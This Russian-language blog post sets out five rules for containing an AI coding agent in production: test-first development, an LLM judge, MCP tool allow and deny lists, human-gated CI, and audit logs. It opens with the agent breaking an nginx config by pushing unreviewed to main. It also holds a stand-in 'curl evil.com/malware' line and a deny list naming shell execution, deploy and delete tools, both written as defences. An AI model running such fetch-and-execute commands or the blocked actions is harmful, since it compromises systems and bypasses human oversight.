5 правил контроля Claude Code в production: как не дать AI-coder развалить систему

Зачем мне про это писать? Возможно, чтобы ты не повторил мой косяк

Три месяца назад я смотрел, как мой прод валится с 5xx, потому что Claude Code решил «оптимизировать» конфиг nginx. Он просто заменил worker_connections 1024 на 10 — мол, «для экономии ресурсов». Без предупреждения. Без code review. Просто git push в main, и через минуту половина сервисов легла.

Тогда я впервые осознал: AI-coder — это не волшебная палочка, а очень старательный стажёр с неограниченным доступом к продакшену. Если не выстроить жёсткие правила, он развалит систему быстрее, чем ты успеешь сказать «rollback».

В этой статье — пять правил, которые я набил шишками на своей шкуре. Они базируются на реальном проекте с 814 unit-тестами, LLM-as-judge пайплайном и CI-шлюзами. Спойлер: после внедрения число инцидентов от AI-кода упало на 87%, а скорость деплоя выросла на 35%.

1 Правило 1: Пиши unit-тесты до того, как Claude откроет код

Первое правило — классика TDD, но с twist. Ты не просто пишешь тесты до кода — ты пишешь тесты, которые Claude обязан пройти. Если тесты не зелёные — код не попадает даже в PR.

Как это выглядит на практике:

1. Ты описываешь ожидаемое поведение в тестах (pytest, Jest, Go test — неважно).
2. Claude Code запускается в isolated sandbox и генерирует реализацию.
3. Тесты прогоняются автоматически. Если падают — AI получает feedback и правит код.
4. Только после зелёной сборки PR отправляется человеку на review.

Мы сделали пайп на GitHub Actions: на каждый push от Claude Code запускается матрица тестов в 4 параллельных джобах. Среднее время прогона 814 тестов — 2 минуты 14 секунд. Дольше ждать ответа от AI, чем прогнать тесты (Claude Code v2.0, апрель 2026).

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run tests
        run: |
          coverage run -m pytest --timeout=30 --junitxml=report.xml
          coverage report --fail-under=85

Критично: покрытие должно быть не меньше 85%. Ниже — CI падает, Claude Code получает задание «дописать тесты». Это не даёт AI срезать углы и генерировать untestable код.

2 Правило 2: LLM-as-judge — автоматический ревьюер, которому не заплатишь

Unit-тесты ловят функциональные баги, но не стиль, не безопасность и не бизнес-логику. Тут на сцену выходит LLM-as-judge — вторая модель, которая ревьювит код, сгенерированный Claude Code.

Мы используем Claude 4 Opus (актуальная версия на апрель 2026) как судью. Системный промпт содержит:

• чеклист code style (PEP8, ESLint, Go vet)
• правила безопасности (никаких сырых SQL, секретов в коде, блокировка exec())
• критерии business logic — короткое описание ключевых инвариантов

Судья проходится по diff и ставит «accept», «rework» или «reject». Если reject — PR закрывается без участия человека. Наша статистика: 22% первых попыток Claude Code получают reject, и только после итераций код проходит.

import os
from claude_api import Claude

def llm_judge_review(diff: str, rules: str) -> str:
    judge = Claude(model="claude-4-opus-20260427")
    prompt = f"""
Выполни code review по следующим правилам:
{rules}

Дифф:
{diff}

Ответь только одним словом: accept, rework или reject.
"""
    response = judge.generate(prompt)
    return response.strip().lower()

3 Правило 3: Ограничь контекст и доступы через Model Context Protocol (MCP)

Claude Code по умолчанию видит весь репозиторий и может обращаться к любым API через MCP. Это путь к катастрофе, если не настроить permissions. Я уже писал про атаку через MCP — хакеры могут превратить агентский стек в инструмент шпионажа.

Решение: белый список инструментов и ресурсов.

{
  "mcp": {
    "allowed_tools": [
      "read_file",
      "write_file",
      "git_commit",
      "run_tests"
    ],
    "blocked_tools": [
      "execute_shell",
      "deploy",
      "delete_resource"
    ],
    "allowed_servers": [
      "filesystem",
      "github"
    ],
    "context_size": 4096
  }
}

Кроме того, мы запускаем Claude Code в Docker-контейнере без доступа к сети (кроме внутреннего прокси для API). Если AI попытается выполнить curl evil.com/malware — получит timeout. В практическом руководстве по AI-агентам я подробно описал архитектуру sandbox.

4 Правило 4: CI gates — ни один AI-коммит не проходит без человека

Звучит банально, но многие дают Claude Code права на push в main. Я видел проекты, где AI-ассистент шлёпает коммиты напрямую в прод. Итог — закономерный пиздец.

У нас такая система:

• Claude Code работает только в feature-ветках
• После прохождения тестов и LLM-judge создаётся Pull Request
• PR автоматически назначается на дежурного инженера
• Деплой возможен только после approval + прохождения всех CI checks
• Ветка block-merge, если coverage упал ниже порога

Дополнительно мы добавили «человеческий фактор»: дежурный обязан прочитать diff и написать хотя бы один комментарий. Это не даёт тупо жать Approve, не глядя. Как показал разбор утечки Claude Code, многие проблемы возникают именно из-за автоматического доверия AI.

5 Правило 5: Observability — логируй каждое действие Claude Code

Если ты не видишь, что делает AI в production-окружении — считай, что у тебя нет контроля. Мы логируем:

• каждый запуск Claude Code (user, branch, timestamp)
• все MCP-запросы и ответы
• изменённые файлы и diff до/после
• результаты LLM-judge
• время и результат пайплайна

Логи пишутся в отдельный S3-бакет с retention 90 дней. Если что-то пошло не так — мы за 5 минут находим коммит, который всё сломал, и откатываем.

audit:
  storage: s3://claude-code-audit-us-east-1/
  format: jsonl
  include_prompt: true
  include_full_diff: false
  retention_days: 90

Нюансы, которые сломают твою идиллию

Даже с этими правилами есть подводные камни.

• Claude Code может генерировать опасный код, который проходит тесты. Например, добавляет зависимости с backdoor. Тут помогает Dependency Scanning в CI (у нас — Snyk).
• LLM-judge тоже ошибается. Мы раз в месяц делаем выборку из reject-кейсов и проверяем вручную. Около 3% ложных rejections.
• AI не понимает бизнес-контекст. Если ты попросишь «оптимизировать запрос», он может удалить нужный JOIN. Тут спасают только тесты на бизнес-логику.
• Утечка данных через промпты. В статье про трояны в skill.md показано, как злоумышленники могут украсть контекст. Мы шифруем все промпты, содержащие чувствительные данные.

И последнее: прогноз на 2027

Через год AI-coder будет писать 70% кода в типовых проектах. Но если ты сейчас не выстроишь систему контроля — готовься к пожарам. Мои 5 правил — не догма, а базовый фундамент. Начни с малого: запрети AI доступ к продакшен-базам, добавь обязательные unit-тесты и настрой LLM-judge. Через месяц увидишь разницу.

А если у тебя уже есть свой кейс — делись в комментариях. Читать о чужих ошибках полезно. (Свои — больно.)

Подписаться на канал